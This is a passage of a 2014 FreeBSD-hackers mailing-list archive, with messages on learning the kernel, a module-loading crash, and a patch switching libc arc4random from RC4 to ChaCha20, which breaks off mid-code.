freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5ACCB36A for ; Wed, 28 May 2014 05:28:08 +0000 (UTC) Received: from nm16.bullet.mail.bf1.yahoo.com (nm16.bullet.mail.bf1.yahoo.com [98.139.212.175]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0685C2C3C for ; Wed, 28 May 2014 05:28:07 +0000 (UTC) Received: from [98.139.215.141] by nm16.bullet.mail.bf1.yahoo.com with NNFMP; 28 May 2014 05:25:51 -0000 Received: from [98.139.211.201] by tm12.bullet.mail.bf1.yahoo.com with NNFMP; 28 May 2014 05:25:51 -0000 Received: from [127.0.0.1] by smtp210.mail.bf1.yahoo.com with NNFMP; 28 May 2014 05:25:51 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1401254751; bh=1PokI3nleA5uy2F80RuOA5WIsONe0XAQm8mlD+45FoY=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Message-ID:Date:From:User-Agent:MIME-Version:To:CC:Subject:References:In-Reply-To:Content-Type:Content-Transfer-Encoding; b=h7/uZQKaLOzEz7PVCgGz5+tP59phw7lqsN+GtKwnXvfaFLAZanby717RYRKoZi6eCM7bhvcwje6qYGZa5Z23o4LapqrZ5/+SNGtZWpv7xNGLcLXcgT350J8a1ZA2QMbNlb/NzdhHK3fHss2Dxj1v7eKO2tK0Qk9GbGvZumedj+M= X-Yahoo-Newman-Id: 723589.86429.bm@smtp210.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: vT9qmusVM1nF1zZgmlXVvpY2rXDIp9F5LzPBMSdQ0Sa.hF3 3B9DCGaPjOe_3fkNTiH7hRGPGrWwC2Jz1bO9Mffrvbu0LGsD5WscAB0Yn_q2 4fI4CjRmmoHe0f5w635cNkvzyS1DSYYGRhiklym4KjNVZbZM1UeGagR9G4IH 6q2XEBmQ._dSJNdAMv1XF9xUo_sgHXXJHf.diDVYAJZ6CSxPC9HywBtdGS.0 KNwrQDuLGTX9HYJ36xyVXFxNzLz1R7rFwlpas_dam4DP8edvXJqIT0xUWQz_ 0oj9S0pK0aGM9oSAe.JYDC9EIkE.2WlHZ7gvie3tHcHIFabYVgmGVc2owmDm Me2Mxc2_8yMu5oKTSrfBRpmAYzxt5obSUE7gxKDgtQ1FHW0_VoEbwxiRsgeH 3k9aVtz1WOoG5f355ZUNZrNTOLih9Qi.gNXg5gReHi_9iawsuTkVJJ2O_dcT RLthbD7eM6Mba46zi79_w1BTLbqWMD2udToQMAU1spWXe.facSC.Qgg-- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [172.16.106.131] (free7by@59.51.81.51 with plain [106.10.150.171]) by smtp210.mail.bf1.yahoo.com with SMTP; 27 May 2014 22:25:51 -0700 PDT Message-ID: <53857352.1060309@yahoo.com> Date: Wed, 28 May 2014 13:25:38 +0800 From: by User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Jerry McAllister Subject: Re: How to get familiar with a system References: <53816258.6030703@yahoo.com> <20140527010346.GA39761@jerrymc.net> In-Reply-To: <20140527010346.GA39761@jerrymc.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 28 May 2014 05:28:08 -0000 Hi, Yes, i have installed the FreeBSD 10 RELEASE on my i386 machine(a laptop). And i know it needs long time to uncover the secret of an operating system, and this is my long term aim. So i do not know what can i do in this long period of time, i mean i must do some projects with deadline, and i know i must make a deadline by myself, or i will be buried by the details, never out. And i think the scheduler and interrupt handler are two of the basic things i must know if i indeed want to hack the operating system. -by From owner-freebsd-hackers@FreeBSD.ORG Wed May 28 19:30:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0D4058E5 for ; Wed, 28 May 2014 19:30:53 +0000 (UTC) Received: from mout.gmx.net (mout.gmx.net [212.227.15.19]) (using TLSv1.2 with cipher DHE-RSA-AES256-SHA256 (256/256 bits)) (Client CN "mout.gmx.net", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9C4652B7F for ; Wed, 28 May 2014 19:30:52 +0000 (UTC) Received: from [192.168.0.143] ([95.91.231.84]) by mail.gmx.com (mrgmx003) with ESMTPSA (Nemesis) id 0M4002-1WXnGl1Vkg-00rbQT; Wed, 28 May 2014 21:30:49 +0200 Message-ID: <5386396A.9040408@gmx.de> Date: Wed, 28 May 2014 21:30:50 +0200 From: Lokadamus User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: tridente 1 , "freebsd-hackers@freebsd.org" Subject: Re: What are the companies that take advantage of the codes and take absurd profitsusing the codes developed by project Linux and the BSD community ? References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:hoS9pDxLy90CQk7PWX6bqD4a+i2KbzyrhkrSgVezP79ti0pApLv Qu21Uj3zfSxgJJLSF9zTPAMFnotTfK9UEXAqv/iP9xaAvEboudoDnteGDdsWstqdAIzX3/W USDWpVAqVHrpPi6jYzxWB5iuMnqwAJBBshXab7uOzGAyWUaLaxmD9aRJfrFdlVFaVfPwx14 u5G8JK51BUsrFiBZksP4Q== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 28 May 2014 19:30:53 -0000 Am 25.05.2014 15:25, schrieb tridente 1: > What are the companies that take advantage of the codes and take absurd profitsusing the codes developed by project Linux and the BSD community ? > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > Easy anwser, Microsoft is doing this. They take BSD- code but not linux- code. From owner-freebsd-hackers@FreeBSD.ORG Wed May 28 19:35:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BDA6AA38; Wed, 28 May 2014 19:35:16 +0000 (UTC) Received: from mout.gmx.net (mout.gmx.net [212.227.17.21]) (using TLSv1.2 with cipher DHE-RSA-AES256-SHA256 (256/256 bits)) (Client CN "mout.gmx.net", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 540092C29; Wed, 28 May 2014 19:35:16 +0000 (UTC) Received: from [192.168.0.143] ([95.91.231.84]) by mail.gmx.com (mrgmx002) with ESMTPSA (Nemesis) id 0MEnX8-1X4WOh47sg-00G4Ye; Wed, 28 May 2014 21:35:14 +0200 Message-ID: <53863A73.3070401@gmx.de> Date: Wed, 28 May 2014 21:35:15 +0200 From: Lokadamus User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: lev@FreeBSD.org, hackers@freebsd.org, stable@freebsd.org Subject: Re: What is difference between loading module with loader and loading module wtih kldload? References: <9890815.20140226013107@serebryakov.spb.ru> In-Reply-To: <9890815.20140226013107@serebryakov.spb.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:vqEcbk/KFVo0SEei+UxQZWqWPKboyKztOjHzbYSSJ0i+XSycncX Jmo5g6nL9QXRCmWwTcOMB6T8su1YaeYwGZbHSXO+KuJ5p4Cc4ClR0nCtz4jqaXe6I+2EoOy h9uCmJUwvxXXRMF3l9Z5eRUY2kRTwFnLV0hH7KrqZXKX5Hv4AtV4JnEkTVFI4CCG/1Zrg5O 5WT/urgKHrOnGCUgtAczA== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 28 May 2014 19:35:16 -0000 Am 25.02.2014 22:31, schrieb Lev Serebryakov: > Hello, Hackers. > > I've upgraded my fileserver to 10-STABLE and got very strange (but > very-very painful) problem, which I could not reproduce on virtual machine > (VirtualBox). > > I'm using geom_raid5 module (and I'm its maintainer, yes) and module, built > for 10-STABLE (after world & kernel build & install & reboot), and loaded > via /boot/loader.conf is reason to almost instant crash after boot. > Sometimes system mounts filesystems before crash and sometimes not. Most of > time it is "page write: page not present", in different places. PS/2 > keyboard is always blocked after that, I could not drop to debugger. No > memory dump performed. Several times it turend off video output (!) right > after crash. Can you find some hint?: https://www.google.de/search?q=page+write%3A+page+not+present > But if I boot without this module, drop to single-user mode, load module > with kldload and continue booting with "exit" everything work smoothly for > hours! > > I understand, that it it some incompatibility between module new kernel, > but I could not reproduce it on VirtualBox instance, and I'm puzzled, that > this crash does not occur if module loaded by kldload! Maybe, here is some > hint in this? > Greetings From owner-freebsd-hackers@FreeBSD.ORG Wed May 28 19:40:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A0182CD3 for ; Wed, 28 May 2014 19:40:12 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 611E62CC5 for ; Wed, 28 May 2014 19:40:11 +0000 (UTC) Received: from [10.1.1.1] (S01060001abad1dea.hm.shawcable.net [50.70.146.73]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id C106D74290 for ; Wed, 28 May 2014 19:40:04 +0000 (UTC) Message-ID: <53863B95.9030101@freebsd.org> Date: Wed, 28 May 2014 15:40:05 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: What is difference between loading module with loader and loading module wtih kldload? References: <9890815.20140226013107@serebryakov.spb.ru> <53863A73.3070401@gmx.de> In-Reply-To: <53863A73.3070401@gmx.de> X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="jqOL7CTk9kPF6PIm87VOE4EBmLDlJKbIh" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 28 May 2014 19:40:12 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --jqOL7CTk9kPF6PIm87VOE4EBmLDlJKbIh Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-05-28 15:35, Lokadamus wrote: > Am 25.02.2014 22:31, schrieb Lev Serebryakov: >> Hello, Hackers. >> >> I've upgraded my fileserver to 10-STABLE and got very strange (but >> very-very painful) problem, which I could not reproduce on virtual >> machine >> (VirtualBox). >> >> I'm using geom_raid5 module (and I'm its maintainer, yes) and >> module, built >> for 10-STABLE (after world & kernel build & install & reboot), and loa= ded >> via /boot/loader.conf is reason to almost instant crash after boot. >> Sometimes system mounts filesystems before crash and sometimes not. >> Most of >> time it is "page write: page not present", in different places. PS/2 >> keyboard is always blocked after that, I could not drop to debugger. N= o >> memory dump performed. Several times it turend off video output (!) ri= ght >> after crash. > Can you find some hint?: > https://www.google.de/search?q=3Dpage+write%3A+page+not+present >=20 >> But if I boot without this module, drop to single-user mode, load >> module >> with kldload and continue booting with "exit" everything work smoothly= >> for >> hours! >> >> I understand, that it it some incompatibility between module new >> kernel, >> but I could not reproduce it on VirtualBox instance, and I'm puzzled, >> that >> this crash does not occur if module loaded by kldload! Maybe, here is >> some >> hint in this? >> > Greetings > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" Is it possible it is loading the kernel from a different /boot than the module? If you were booting a newer kernel, and at loader.conf it the /boot was from somewhere different than it is once you get to single user mode, that might explain. This problem has happened to me once or twice when I've done off things with my disks, like mirroring a dying drive and forgetting that it would still try to boot off of it even after I'd switched fstab to use the new drive. --=20 Allan Jude --jqOL7CTk9kPF6PIm87VOE4EBmLDlJKbIh Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.16 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJThjuZAAoJEJrBFpNRJZKfjuQP/3u5rQxjJBvsBtsFIrwebuoQ lOhWGsvAj5xyTTR8HI1FOIZoxVOafQOtsC5vMQKLuwoj1EuDmr8G2xJlxQ8bF+1Y CgV8Vs3/dq8v5+zUqHcm+GlT2vo+173PReRgXgpzWePNpOH2DlW8Dw/N0uOywttV 45mjkkiawnwGIPOKw2ETBak3xCVvS5IBMReq26KDP+LXSEWOwtGKeIFlRjzEdec8 ZV2jOv9a6pfRE0910ROT2vFb7hV4bTZPuFpWiR5DGOKFCRvsF0Yrl10e57udZhpk UTauPXTF2LCMMkK07ibjN5EFE8vTdt76DRhP6Ua/wSDqG8XOZboYMpNv7FPJW5zw 2vowLDGBACN+pSPXLGks+mTRSs+aOPRyaifbjcfQuTmrCVGeQenw2cQDJip2elQ+ woQqbB/urEm4Px4SYMnJJgu9OvZjbWfLP9SdI29rhCCMpFYlBppXbNYTv7kK/hmI zWzplO5sP817bBTpX1EN12dMAqoVJrnpYCrgv2y6f/ij/uGqqR+zp75N0eLOwYgi 0zi1U0rjKQUtKyR7oRhfbQq/9ccWIg1WAlXJ7b7gEQKfjUefxG5YjOkFytf7NiHj UJHZ/5yY6VGsqlDCHwSQV5h/ZsPoa9UB4sDxeLNeJqwTBvTbWr5qm7FtNb9rfFtV fz8mdF8nUcSv+2gl9Xpc =/flh -----END PGP SIGNATURE----- --jqOL7CTk9kPF6PIm87VOE4EBmLDlJKbIh-- From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 01:10:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BCC9A5E7; Fri, 30 May 2014 01:10:40 +0000 (UTC) Received: from ox.tedunangst.com (ox.tedunangst.com [208.82.130.146]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5234E2B9D; Fri, 30 May 2014 01:10:39 +0000 (UTC) Received: from localhost.localdomain (localhost [127.0.0.1]); by ox.tedunangst.com (OpenSMTPD) with ESMTP id 071c88cd; Thu, 29 May 2014 21:03:57 -0400 (EDT) Date: Thu, 29 May 2014 21:04:11 -0400 From: Ted Unangst To: freebsd-hackers@freebsd.org Message-ID: Subject: switch arc4random to chacha Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Fri, 30 May 2014 01:40:02 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 01:10:40 -0000 This syncs libc arc4random.c with OpenBSD, mostly to change the implementation to ChaCha20. I removed the more complicated seed fetching code and changed it to just sysctl(). A quick check revealed that the FreeBSD kernel supports this for at least five years now. It's much simpler to use code that always works instead of a series of untested fallbacks that are even less likely to work. Also removes the addrandom interface as a useless complication. If the kernel is incapable of properly seeding arc4random, application code can't do any better. Unfortunately, I don't have any FreeBSD systems running at the moment, so I can't make any promises that this will even compile, but it passed the eyeball test. --- arc4random.c.orig Thu May 29 20:28:49 2014 +++ arc4random.c Thu May 29 20:51:59 2014 @@ -1,8 +1,9 @@ -/* $OpenBSD: arc4random.c,v 1.22 2010/12/22 08:23:42 otto Exp $ */ +/* $OpenBSD: arc4random.c,v 1.30 2014/05/06 16:06:33 tedu Exp $ */ /* * Copyright (c) 1996, David Mazieres * Copyright (c) 2008, Damien Miller + * Copyright (c) 2013, Markus Friedl * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above @@ -18,15 +19,7 @@ */ /* - * Arc4 random number generator for OpenBSD. - * - * This code is derived from section 17.1 of Applied Cryptography, - * second edition, which describes a stream cipher allegedly - * compatible with RSA Labs "RC4" cipher (the actual description of - * which is a trade secret). The same algorithm is used as a stream - * cipher called "arcfour" in Tatu Ylonen's ssh package. - * - * RC4 is a registered trademark of RSA Laboratories. + * ChaCha based random number generator for OpenBSD. */ #include @@ -40,28 +33,24 @@ #include #include #include +#include #include #include #include "libc_private.h" #include "un-namespace.h" +#define KEYSTREAM_ONLY +#include "chacha_private.h" + #ifdef __GNUC__ #define inline __inline #else /* !__GNUC__ */ #define inline #endif /* !__GNUC__ */ -struct arc4_stream { - u_int8_t i; - u_int8_t j; - u_int8_t s[256]; -}; - static pthread_mutex_t arc4random_mtx = PTHREAD_MUTEX_INITIALIZER; -#define RANDOMDEV "/dev/random" -#define KEYSIZE 128 #define _ARC4_LOCK() \ do { \ if (__isthreaded) \ @@ -74,187 +63,149 @@ _pthread_mutex_unlock(&arc4random_mtx); \ } while (0) +#define KEYSZ 32 +#define IVSZ 8 +#define BLOCKSZ 64 +#define RSBUFSZ (16*BLOCKSZ) static int rs_initialized; -static struct arc4_stream rs; -static pid_t arc4_stir_pid; -static int arc4_count; +static pid_t rs_stir_pid; +static chacha_ctx *rs; /* chacha context for random keystream */ +static u_char *rs_buf; /* keystream blocks */ +static size_t rs_have; /* valid bytes at end of rs_buf */ +static size_t rs_count; /* bytes till reseed */ +static inline void _rs_rekey(u_char *dat, size_t datlen); + extern int __sysctl(int *name, u_int namelen, void *oldp, size_t *oldlenp, void *newp, size_t newlen); -static inline u_int8_t arc4_getbyte(void); -static void arc4_stir(void); - static inline void -arc4_init(void) +_rs_init(u_char *buf, size_t n) { - int n; + if (n < KEYSZ + IVSZ) + return; - for (n = 0; n < 256; n++) - rs.s[n] = n; - rs.i = 0; - rs.j = 0; -} + if (rs == NULL && (rs = mmap(NULL, sizeof(*rs), PROT_READ|PROT_WRITE, + MAP_ANON, -1, 0)) == MAP_FAILED) + abort(); + if (rs_buf == NULL && (rs_buf = mmap(NULL, RSBUFSZ, PROT_READ|PROT_WRITE, + MAP_ANON, -1, 0)) == MAP_FAILED) + abort(); -static inline void -arc4_addrandom(u_char *dat, int datlen) -{ - int n; - u_int8_t si; - - rs.i--; - for (n = 0; n < 256; n++) { - rs.i = (rs.i + 1); - si = rs.s[rs.i]; - rs.j = (rs.j + si + dat[n % datlen]); - rs.s[rs.i] = rs.s[rs.j]; - rs.s[rs.j] = si; - } - rs.j = rs.i; + chacha_keysetup(rs, buf, KEYSZ * 8, 0); + chacha_ivsetup(rs, buf + KEYSZ); } -static size_t -arc4_sysctl(u_char *buf, size_t size) +static void +_rs_stir(void) { - int mib[2]; - size_t len, done; + int mib[2]; + size_t len; + u_char rnd[KEYSZ + IVSZ]; mib[0] = CTL_KERN; mib[1] = KERN_ARND; - done = 0; - do { - len = size; - if (__sysctl(mib, 2, buf, &len, NULL, 0) == -1) - return (done); - done += len; - buf += len; - size -= len; - } while (size > 0); + len = sizeof(rnd); + __sysctl(mib, 2, rnd, &len, NULL, 0); - return (done); -} - -static void -arc4_stir(void) -{ - int done, fd, i; - struct { - struct timeval tv; - pid_t pid; - u_char rnd[KEYSIZE]; - } rdat; - if (!rs_initialized) { - arc4_init(); rs_initialized = 1; - } - done = 0; - if (arc4_sysctl((u_char *)&rdat, KEYSIZE) == KEYSIZE) - done = 1; - if (!done) { - fd = _open(RANDOMDEV, O_RDONLY | O_CLOEXEC, 0); - if (fd >= 0) { - if (_read(fd, &rdat, KEYSIZE) == KEYSIZE) - done = 1; - (void)_close(fd); - } - } - if (!done) { - (void)gettimeofday(&rdat.tv, NULL); - rdat.pid = getpid(); - /* We'll just take whatever was on the stack too... */ - } + _rs_init(rnd, sizeof(rnd)); + } else + _rs_rekey(rnd, sizeof(rnd)); + bzero(rnd, sizeof(rnd)); /* explicit_bzero */ - arc4_addrandom((u_char *)&rdat, KEYSIZE); + /* invalidate rs_buf */ + rs_have = 0; + memset(rs_buf, 0, RSBUFSZ); - /* - * Discard early keystream, as per recommendations in: - * "(Not So) Random Shuffles of RC4" by Ilya Mironov. - */ - for (i = 0; i < 1024; i++) - (void)arc4_getbyte(); - arc4_count = 1600000; + rs_count = 1600000; } -static void -arc4_stir_if_needed(void) +static inline void +_rs_stir_if_needed(size_t len) { pid_t pid = getpid(); - if (arc4_count <= 0 || !rs_initialized || arc4_stir_pid != pid) - { - arc4_stir_pid = pid; - arc4_stir(); - } + if (rs_count <= len || !rs_initialized || rs_stir_pid != pid) { + rs_stir_pid = pid; + _rs_stir(); + } else + rs_count -= len; } -static inline u_int8_t -arc4_getbyte(void) +static inline void +_rs_rekey(u_char *dat, size_t datlen) { - u_int8_t si, sj; +#ifndef KEYSTREAM_ONLY + memset(rs_buf, 0,RSBUFSZ); +#endif + /* fill rs_buf with the keystream */ + chacha_encrypt_bytes(rs, rs_buf, rs_buf, RSBUFSZ); + /* mix in optional user provided data */ + if (dat) { + size_t i, m; - rs.i = (rs.i + 1); - si = rs.s[rs.i]; - rs.j = (rs.j + si); - sj = rs.s[rs.j]; - rs.s[rs.i] = sj; - rs.s[rs.j] = si; - return (rs.s[(si + sj) & 0xff]); + m = MIN(datlen, KEYSZ + IVSZ); + for (i = 0; i < m; i++) + rs_buf[i] ^= dat[i]; + } + /* immediately reinit for backtracking resistance */ + _rs_init(rs_buf, KEYSZ + IVSZ); + memset(rs_buf, 0, KEYSZ + IVSZ); + rs_have = RSBUFSZ - KEYSZ - IVSZ; } -static inline u_int32_t -arc4_getword(void) +static inline void +_rs_random_buf(void *_buf, size_t n) { - u_int32_t val; - val = arc4_getbyte() << 24; - val |= arc4_getbyte() << 16; - val |= arc4_getbyte() << 8; - val |= arc4_getbyte(); - return val; -} + u_char *buf = (u_char *)_buf; + size_t m; -void -arc4random_stir(void) -{ - _ARC4_LOCK(); - arc4_stir(); - _ARC4_UNLOCK(); + _rs_stir_if_needed(n); + while (n > 0) { + if (rs_have > 0) { + m = MIN(n, rs_have); + memcpy(buf, rs_buf + RSBUFSZ - rs_have, m); + memset(rs_buf + RSBUFSZ - rs_have, 0, m); + buf += m; + n -= m; + rs_have -= m; + } + if (rs_have == 0) + _rs_rekey(NULL, 0); + } } -void -arc4random_addrandom(u_char *dat, int datlen) +static inline void +_rs_random_u32(u_int32_t *val) { - _ARC4_LOCK(); - if (!rs_initialized) - arc4_stir(); - arc4_addrandom(dat, datlen); - _ARC4_UNLOCK(); + _rs_stir_if_needed(sizeof(*val)); + if (rs_have < sizeof(*val)) + _rs_rekey(NULL, 0); + memcpy(val, rs_buf + RSBUFSZ - rs_have, sizeof(*val)); + memset(rs_buf + RSBUFSZ - rs_have, 0, sizeof(*val)); + rs_have -= sizeof(*val); + return; } u_int32_t arc4random(void) { u_int32_t val; + _ARC4_LOCK(); - arc4_count -= 4; - arc4_stir_if_needed(); - val = arc4_getword(); + _rs_random_u32(&val); _ARC4_UNLOCK(); return val; } void -arc4random_buf(void *_buf, size_t n) +arc4random_buf(void *buf, size_t n) { - u_char *buf = (u_char *)_buf; _ARC4_LOCK(); - arc4_stir_if_needed(); - while (n--) { - if (--arc4_count <= 0) - arc4_stir(); - buf[n] = arc4_getbyte(); - } + _rs_random_buf(buf, n); _ARC4_UNLOCK(); } @@ -276,17 +227,8 @@ if (upper_bound < 2) return 0; -#if (ULONG_MAX > 0xffffffffUL) - min = 0x100000000UL % upper_bound; -#else - /* Calculate (2**32 % upper_bound) avoiding 64-bit math */ - if (upper_bound > 0x80000000) - min = 1 + ~upper_bound; /* 2**32 - upper_bound */ - else { - /* (2**32 - (x * 2)) % x == 2**32 % x when x <= 2**31 */ - min = ((0xffffffff - (upper_bound * 2)) + 1) % upper_bound; - } -#endif + /* 2**32 % x == (2**32 - x) % x */ + min = -upper_bound % upper_bound; /* * This could theoretically loop forever but each retry has @@ -302,24 +244,3 @@ return r % upper_bound; } - -#if 0 -/*-------- Test code for i386 --------*/ -#include -#include -int -main(int argc, char **argv) -{ - const int iter = 1000000; - int i; - pctrval v; - - v = rdtsc(); - for (i = 0; i < iter; i++) - arc4random(); - v = rdtsc() - v; - v /= iter; - - printf("%qd cycles\n", v); -} -#endif --- /dev/null Thu May 29 20:52:04 2014 +++ chacha_private.h Thu May 29 20:40:54 2014 @@ -0,0 +1,222 @@ +/* +chacha-merged.c version 20080118 +D. J. Bernstein +Public domain. +*/ + +/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */ + +typedef unsigned char u8; +typedef unsigned int u32; + +typedef struct +{ + u32 input[16]; /* could be compressed */ +} chacha_ctx; + +#define U8C(v) (v##U) +#define U32C(v) (v##U) + +#define U8V(v) ((u8)(v) & U8C(0xFF)) +#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF)) + +#define ROTL32(v, n) \ + (U32V((v) << (n)) | ((v) >> (32 - (n)))) + +#define U8TO32_LITTLE(p) \ + (((u32)((p)[0]) ) | \ + ((u32)((p)[1]) << 8) | \ + ((u32)((p)[2]) << 16) | \ + ((u32)((p)[3]) << 24)) + +#define U32TO8_LITTLE(p, v) \ + do { \ + (p)[0] = U8V((v) ); \ + (p)[1] = U8V((v) >> 8); \ + (p)[2] = U8V((v) >> 16); \ + (p)[3] = U8V((v) >> 24); \ + } while (0) + +#define ROTATE(v,c) (ROTL32(v,c)) +#define XOR(v,w) ((v) ^ (w)) +#define PLUS(v,w) (U32V((v) + (w))) +#define PLUSONE(v) (PLUS((v),1)) + +#define QUARTERROUND(a,b,c,d) \ + a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \ + c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \ + a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \ + c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); + +static const char sigma[16] = "expand 32-byte k"; +static const char tau[16] = "expand 16-byte k"; + +static void +chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits) +{ + const char *constants; + + x->input[4] = U8TO32_LITTLE(k + 0); + x->input[5] = U8TO32_LITTLE(k + 4); + x->input[6] = U8TO32_LITTLE(k + 8); + x->input[7] = U8TO32_LITTLE(k + 12); + if (kbits == 256) { /* recommended */ + k += 16; + constants = sigma; + } else { /* kbits == 128 */ + constants = tau; + } + x->input[8] = U8TO32_LITTLE(k + 0); + x->input[9] = U8TO32_LITTLE(k + 4); + x->input[10] = U8TO32_LITTLE(k + 8); + x->input[11] = U8TO32_LITTLE(k + 12); + x->input[0] = U8TO32_LITTLE(constants + 0); + x->input[1] = U8TO32_LITTLE(constants + 4); + x->input[2] = U8TO32_LITTLE(constants + 8); + x->input[3] = U8TO32_LITTLE(constants + 12); +} + +static void +chacha_ivsetup(chacha_ctx *x,const u8 *iv) +{ + x->input[12] = 0; + x->input[13] = 0; + x->input[14] = U8TO32_LITTLE(iv + 0); + x->input[15] = U8TO32_LITTLE(iv + 4); +} + +static void +chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes) +{ + u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15; + u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15; + u8 *ctarget = NULL; + u8 tmp[64]; + u_int i; + + if (!bytes) return; + + j0 = x->input[0]; + j1 = x->input[1]; + j2 = x->input[2]; + j3 = x->input[3]; + j4 = x->input[4]; + j5 = x->input[5]; + j6 = x->input[6]; + j7 = x->input[7]; + j8 = x->input[8]; + j9 = x->input[9]; + j10 = x->input[10]; + j11 = x->input[11]; + j12 = x->input[12]; + j13 = x->input[13]; + j14 = x->input[14]; + j15 = x->input[15]; + + for (;;) { + if (bytes < 64) { + for (i = 0;i < 